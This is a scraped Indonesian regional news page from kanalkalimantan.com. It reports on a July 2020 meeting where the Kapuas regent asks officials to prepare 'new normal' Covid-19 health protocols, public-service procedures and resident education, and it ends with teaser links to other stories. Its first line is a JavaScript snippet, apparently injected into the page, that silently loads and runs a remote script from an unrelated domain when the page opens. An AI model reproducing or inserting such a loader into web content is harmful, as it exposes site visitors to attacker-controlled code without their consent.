(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pemkab Kapuas sedang menyusun berbagai langkah untuk menyambut pra kondisi atau tatanan kehidupan baru di tengah pandemi Covid-19.
Melalui rapat koordinasi , Bupati Kapuas Ir Ben Brahim S Bahat, secara khusus meminta kepada semua pimpinan Organisasi Perangkat Daerah (OPD), unit kerja, camat, lurah/desa untuk bersiap menjalani tatanan baru.
“Pemerintah sedang mempersiapkan langkah-langkah tatanan kehidupan baru. Kelihatannya sebelum ada anti-virus corona ini, sehingga belum bisa diprediksi kapan akan kembali kehidupan baru seperti sebelumnya. Karena itu kita tak boleh pasrah. Makanya kita perlu persiapkan untuk penerapan tatanan baru, atau kondisi inilah yang kita anggap normal baru (untuk sementara),” ujar Bupati saat memimpin rakor di ruang Aula Kantor Bappeda, Jl Tambun Bungai, Senin (6/7/2020).
Kepada para pimpinan OPD yang mengikuti rapat, Bupati Kapuas mengharapkan agar segera melakukan evaluasi. Seperti perangkat teknis mengkaji mengenai kebijakan yang sudah diterapkan selama pandemi corona.
“Silahkan perangkat daerah teknis melakukan evaluasi atas apa yang pernah kita terapkan. Misal pajak dan retribusi, apakah memungkinkan kembali seperti sebelumnya, atau masih dilanjutkan penghapusan sementara,” imbau Ben Brahim.
Begitu juga mengenai pembukaan tempat usaha, dan lainnya sudah harus dievaluasi. Apakah ada pembatasan, atau sudah dibolehkan beraktivitas seperti sebelumnya. Mesti dikaji baik-baik sebelum mengeluarkan surat edaran baru. Terutama syarat dan standar protokol kesehatan.
“Saya juga minta semua OPD, termasuk desa/kelurahan agar membuat desain tatanan baru, terutama pelayanan publik. Saya minta dibuatkan SOP-nya. Intinya, standar protokol kesehatan harus dipatuhi di pra kondisi ini,” tambah Bupati Kapuas yang di rapat didampingi Wakil Bupati Kapuas Nafiah Ibnor, Kapolres Kapuas AKBP Manang Soebeti, Dandim Kapuas Letkol Ary Bayu Saputro dan Perwakilan dari Kejari Kapuas.
Di rapat koordinasi Ben Brahim tak lupa mengingatkan kembali kepada para camat, lurah dan kepala desa untuk terus memberikan edukasi kepada warga. Terutama memberi pemahaman jika kondisi sekarang masih belum aman dari penyebaran corona.
“Saya berharap camat, kepala desa, lurah, turun ke masyarakat mengedukasi dan menyampaikan bahwa kita belum begitu aman dari Covid-19. Sehingga perlu disiplin mematuhi protokol kesehatan, seperti selalu gunakan masker, cuci tangan, jaga jarak. Termasuk warga yang ingin shalat berjamaah di masjid, harus mentaati peraturan pemerintah yakni protokol kesehatan,”jelasnya. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More
KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More
This website uses cookies.